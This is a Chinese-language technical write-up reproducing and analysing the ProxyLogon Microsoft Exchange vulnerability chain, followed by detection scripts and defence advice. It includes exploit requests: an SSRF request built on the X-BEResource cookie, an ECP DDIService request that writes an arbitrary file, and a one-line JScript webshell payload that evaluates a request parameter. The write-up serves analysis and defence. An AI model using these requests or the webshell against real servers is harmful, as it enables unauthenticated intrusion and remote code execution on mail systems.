复现Microsoft Exchange Proxylogon漏洞利用链
字数 1916 2025-08-06 08:35:39

Microsoft Exchange Proxylogon漏洞利用链复现与分析

漏洞概述

ProxyLogon是Microsoft Exchange Server中的一系列漏洞(CVE-2021-26855等),允许攻击者绕过身份验证并模拟用户。这些漏洞在2021年初被广泛利用,攻击者可以访问邮箱账户并安装持久性恶意软件。

漏洞利用链组成

  1. CVE-2021-26855 - 服务器端请求伪造(SSRF)漏洞
  2. CVE-2021-26857 - 统一消息服务中的不安全反序列化漏洞
  3. CVE-2021-26858 - 另一个反序列化漏洞
  4. CVE-2021-27065 - 任意文件写入漏洞

复现环境准备

1. 搭建测试环境

  • 使用Microsoft ADDSDeployment模块设置域控制器
  • 下载易受攻击的Exchange版本(如Exchange 2013 CU23)
  • 修改服务器配置脚本以启动2012-R2 Datacenter服务器
$vm=Set-AZVMSourceImage -VM $vm -PublisherName MicrosoftWindowsServer -Offer `
WindowsServer -Skus 2012-R2-Datacenter -Version "latest"

2. 获取补丁文件

  1. 从Microsoft更新目录下载补丁前和补丁后的安全更新汇总
  2. 从.cab文件中提取.msp文件
  3. 使用7zip解压缩.msp文件获取二进制文件

3. 分析工具准备

  • dnSpy:用于反编译.NET应用程序
  • JustAssembly:用于比较dll差异
  • GitHub:用于代码差异比较
  • socat:网络流量中继工具
  • mimikatz:用于提取证书和密钥

漏洞详细分析

1. CVE-2021-26855 (SSRF漏洞)

漏洞原理

  • Exchange HTTP代理(BEResourceRequestHandler)处理特定请求时存在缺陷
  • 攻击者可以通过控制X-BEResource cookie来操纵后端请求目标
  • 结合URI构造问题,可实现完全控制目标URL

利用步骤

  1. 发送包含特定标头的请求到/ecp中的"静态"文件
  2. 设置X-BEResource cookie控制后端连接的主机
  3. 通过精心构造的主机名获得对目标URL的完全控制

关键代码路径

  1. ProxyModule.SelectHandlerForUnauthenticatedRequest
  2. BEResourceRequestHandler.CanHandle
  3. BackEndServer.FromString
  4. ProxyRequestHandler.GetTargetBackEndServerUrl

请求示例

POST /ecp/y.js HTTP/1.1
Host: exchange-server
Cookie: X-BEResource=exchange-server~1944332528

2. CVE-2021-27065 (任意文件写入漏洞)

漏洞原理

  • WriteFileActivity类直接将用户控制的文件名写入磁盘
  • 通过ECP的DDIService可以写入任意文件
  • 结合VirtualDirectory重置功能可写入webshell

利用步骤

  1. 发送请求到/ecp/DDI/DDIService.svc/SetObject
  2. 控制FilePathName参数指定写入路径
  3. 通过VirtualDirectory的URL字段注入恶意代码

请求示例

POST /ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary={csrf} HTTP/1.1
Host: localhost
Cookie: msExchEcpCanary={csrf};
Content-Type: application/json

{
  "identity": {
    "__type": "Identity:ECP",
    "DisplayName": "OAB (Default Web Site)",
    "RawIdentity": "cf64594f-d739-44a4-aa70-3fbd158625e2"
  },
  "properties": {
    "Parameters": {
      "__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
      "FilePathName": "C:\\VirtualDirectory.aspx"
    }
  }
}

恶意URL示例

http://o/#<script language="JScript" runat="server">function Page_Load(){eval(Request["mlwqloai"],"unsafe");}</script>

3. CVE-2021-26857 (反序列化漏洞)

漏洞原理

  • Base64Deserialize方法直接将base64字符串传递给BinaryFormatter的反序列化
  • 可被ysoserial.net等工具利用
  • 补丁移除了不安全方法并添加了类型验证

修补差异

// 修补前
public static object Base64Deserialize(string base64String)

// 修补后
public static object Base64Deserialize(string base64String, Type[] allowedTypes)

信息收集技术

1. 获取后端服务器和域信息

通过HTTP上的RPC协议泄漏信息:

  1. 发送请求到/rpc/rpcproxy.dll
  2. 解析NTLM质询消息中的AV_PAIR结构
  3. 获取MsvAvDnsComputerName(后端服务器名)和MsvAvDnsTreeName(域名)

请求示例

RPC_IN_DATA /rpc/rpcproxy.dll HTTP/1.1
Host: frontend.exchange.contoso.com
User-Agent: MSRPC
Accept: application/rpc
Accept-Encoding: gzip, deflate
Authorization: NTLM TlRMTVNTUAABAAAABQKIoAAAAAAAAAAAAAAAAAAAAAA=
Content-Length: 0
Connection: close

检测与缓解

1. 检测脚本

# 检测SSRF日志
Import-Csv -Path (Get-ChildItem -Recurse -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy" -Filter '*.log').FullName `
| Where-Object { $_.AuthenticatedUser -eq '' -and $_.AnchorMailbox -like 'ServerInfo~*/*' } | select DateTime, AnchorMailbox

# 检测文件写入日志
Select-String -Path "$env:PROGRAMFILES\Microsoft\ExchangeServer\V15\Logging\ECP\Server\*.log" -Pattern 'Set-.+VirtualDirectory'

2. 检查域权限

import-module ActiveDirectory
$ADDomain = ''
$DomainTopLevelObjectDN = (Get-ADDomain $ADDomain).DistinguishedName
Get-ADObject -Identity $DomainTopLevelObjectDN -Properties * | select -ExpandProperty nTSecurityDescriptor | select -ExpandProperty Access | select IdentityReference,ActiveDirectoryRights,AccessControlType,IsInherited | Where-Object {($_.IdentityReference -like "*Exchange Windows Permissions*") -or ($_.IdentityReference -like "*Exchange Trusted Subsystem*")} | Where-Object {($_.ActiveDirectoryRights -like "*GenericAll*") -or ($_.ActiveDirectoryRights -like "*WriteDacl*")}

3. 缓解措施

  1. 应用Microsoft紧急补丁
  2. 使用URL重写模块阻止利用
  3. 启用"审核过程创建"审核策略和PowerShell日志记录

技术要点总结

  1. SSRF利用:通过控制X-BEResource cookie和精心构造的URI实现后端请求伪造
  2. 文件写入:利用ECP的DDIService和VirtualDirectory重置功能写入webshell
  3. 信息泄漏:通过RPC over HTTP协议泄漏后端服务器和域信息
  4. 权限提升:Exchange服务通常具有高权限,可导致域范围权限提升

防御建议

  1. 及时应用所有Exchange安全更新
  2. 监控Exchange日志中的异常活动
  3. 限制Exchange服务器在域中的权限
  4. 实施网络分段,限制Exchange服务器的出站连接
  5. 定期审核服务器上的异常文件和进程
Microsoft Exchange Proxylogon漏洞利用链复现与分析 漏洞概述 ProxyLogon是Microsoft Exchange Server中的一系列漏洞(CVE-2021-26855等),允许攻击者绕过身份验证并模拟用户。这些漏洞在2021年初被广泛利用,攻击者可以访问邮箱账户并安装持久性恶意软件。 漏洞利用链组成 CVE-2021-26855 - 服务器端请求伪造(SSRF)漏洞 CVE-2021-26857 - 统一消息服务中的不安全反序列化漏洞 CVE-2021-26858 - 另一个反序列化漏洞 CVE-2021-27065 - 任意文件写入漏洞 复现环境准备 1. 搭建测试环境 使用Microsoft ADDSDeployment模块设置域控制器 下载易受攻击的Exchange版本(如Exchange 2013 CU23) 修改服务器配置脚本以启动2012-R2 Datacenter服务器 2. 获取补丁文件 从Microsoft更新目录下载补丁前和补丁后的安全更新汇总 从.cab文件中提取.msp文件 使用7zip解压缩.msp文件获取二进制文件 3. 分析工具准备 dnSpy:用于反编译.NET应用程序 JustAssembly:用于比较dll差异 GitHub:用于代码差异比较 socat:网络流量中继工具 mimikatz:用于提取证书和密钥 漏洞详细分析 1. CVE-2021-26855 (SSRF漏洞) 漏洞原理 Exchange HTTP代理(BEResourceRequestHandler)处理特定请求时存在缺陷 攻击者可以通过控制X-BEResource cookie来操纵后端请求目标 结合URI构造问题,可实现完全控制目标URL 利用步骤 发送包含特定标头的请求到/ecp中的"静态"文件 设置X-BEResource cookie控制后端连接的主机 通过精心构造的主机名获得对目标URL的完全控制 关键代码路径 ProxyModule.SelectHandlerForUnauthenticatedRequest BEResourceRequestHandler.CanHandle BackEndServer.FromString ProxyRequestHandler.GetTargetBackEndServerUrl 请求示例 2. CVE-2021-27065 (任意文件写入漏洞) 漏洞原理 WriteFileActivity 类直接将用户控制的文件名写入磁盘 通过ECP的DDIService可以写入任意文件 结合VirtualDirectory重置功能可写入webshell 利用步骤 发送请求到 /ecp/DDI/DDIService.svc/SetObject 控制 FilePathName 参数指定写入路径 通过VirtualDirectory的URL字段注入恶意代码 请求示例 恶意URL示例 3. CVE-2021-26857 (反序列化漏洞) 漏洞原理 Base64Deserialize 方法直接将base64字符串传递给 BinaryFormatter 的反序列化 可被ysoserial.net等工具利用 补丁移除了不安全方法并添加了类型验证 修补差异 信息收集技术 1. 获取后端服务器和域信息 通过HTTP上的RPC协议泄漏信息: 发送请求到 /rpc/rpcproxy.dll 解析NTLM质询消息中的AV_ PAIR结构 获取 MsvAvDnsComputerName (后端服务器名)和 MsvAvDnsTreeName (域名) 请求示例 检测与缓解 1. 检测脚本 2. 检查域权限 3. 缓解措施 应用Microsoft紧急补丁 使用URL重写模块阻止利用 启用"审核过程创建"审核策略和PowerShell日志记录 技术要点总结 SSRF利用 :通过控制X-BEResource cookie和精心构造的URI实现后端请求伪造 文件写入 :利用ECP的DDIService和VirtualDirectory重置功能写入webshell 信息泄漏 :通过RPC over HTTP协议泄漏后端服务器和域信息 权限提升 :Exchange服务通常具有高权限,可导致域范围权限提升 防御建议 及时应用所有Exchange安全更新 监控Exchange日志中的异常活动 限制Exchange服务器在域中的权限 实施网络分段,限制Exchange服务器的出站连接 定期审核服务器上的异常文件和进程